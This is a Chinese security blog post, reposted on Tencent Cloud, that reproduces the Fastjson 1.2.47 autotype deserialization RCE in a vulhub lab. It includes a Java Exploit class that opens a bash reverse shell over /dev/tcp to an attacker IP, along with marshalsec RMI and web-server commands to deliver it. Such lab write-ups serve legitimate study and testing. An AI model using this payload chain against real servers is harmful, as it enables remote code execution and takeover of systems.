前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >技术分享 | Fastjson-RCE漏洞复现

技术分享 | Fastjson-RCE漏洞复现

作者头像
C4rpeDime
发布2021-09-07 10:19:54
1.2K0
发布2021-09-07 10:19:54
举报
文章被收录于专栏:黑白安全黑白安全

Fastjson提供autotype功能,允许用户在反序列化数据中通过 @type 指定反序列化的类型,其次Fastjson自定义的反序列化会调用指定类中的setter方法和部分getter方法。 当组件开启autotype并且反序列化不可信的数据时,攻击者构造的数据(恶意代码)会进入特定类的setter或getter方法中,可能会被恶意利用。 影响版本 Fastjson1.2.47以及之前的版本

复现

1.1 环境准备
攻击机1

用于接受反弹shell 系统:Win10 x64 安装nc,burpsuite win10中需安装nc,用于监听反弹的shell。 在win10下,在nc官网(https://eternallybored.org/misc/netcat/)下载会报毒被拦截。 可以使用nmap中重置的ncat(https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe),与nc使用无区别。 下载后进入,ncat所在目录,执行ncat,出现如下输出则安装成功

攻击机2

提供一些必要服务 系统:Ubuntu 需安装:marshlsec ( https://github.com/mbechler/marshalsec )(用于启动RMI服务)、python环境(用于启动SimpleHTTPServer服务)、openjdk marshlsec下载后,需要使用mvn打包,无mvn命令需要安装Maven marshlsec下载后,进入文件目录执行sudo mvn clean package -DskipTests,完成后会在目录的target目录中发现两个jar包

受害机

系统:Ubuntu (与上述提供RMI和Web服务的机器可以是一台或不同) 需安装:docker、docker-composer、vulhub

1.2 示意图
1.3 复现流程

在 攻击机1 开启监听

在受害机上启动环境,进入vulhub中的/fastjson/1.2.47-rce/,使用如下命令启动服务:

# docker-compose up -d 在 攻击机1 上访问该服务,如下则为成功

构造恶意代码文件vim Exploit.java,内容如下 代码中192.168.253.129/6666修改为攻击机1的ip和监听反弹shell的端口

代码语言:javascript
复制
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
      Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.253.129/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

编写完成后,对该文件进行编译生成对应的class文件

# javac Exploit.java

在 攻击机2 上启动RMI和Web服务 · 启动Web服务 # python -m SimpleHTTPServer 8080

使用 攻击机1 访问 攻击机2开放的Web服务,如下则成功

启动RMI服务 进入marshalsec打包好的jar包目录执行命令,如下 192.168.253.138:8080 为上述Web服务地址和端口,需自行修改 8888 可为任意端口 # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.138:8080/#Exploit" 8888

在 攻击机1 上构造恶意请求

发送请求后,等待ncat获取反弹shell,可见在恶意代码中构造的命令执行,成功反弹shell,可以执行命令

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 复现
    • 1.1 环境准备
      • 1.2 示意图
        • 1.3 复现流程
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档